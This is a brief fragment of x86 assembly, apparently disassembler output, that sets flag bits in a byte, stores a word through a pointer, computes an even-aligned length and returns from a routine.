mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x42c1ed
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x42c1f3
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret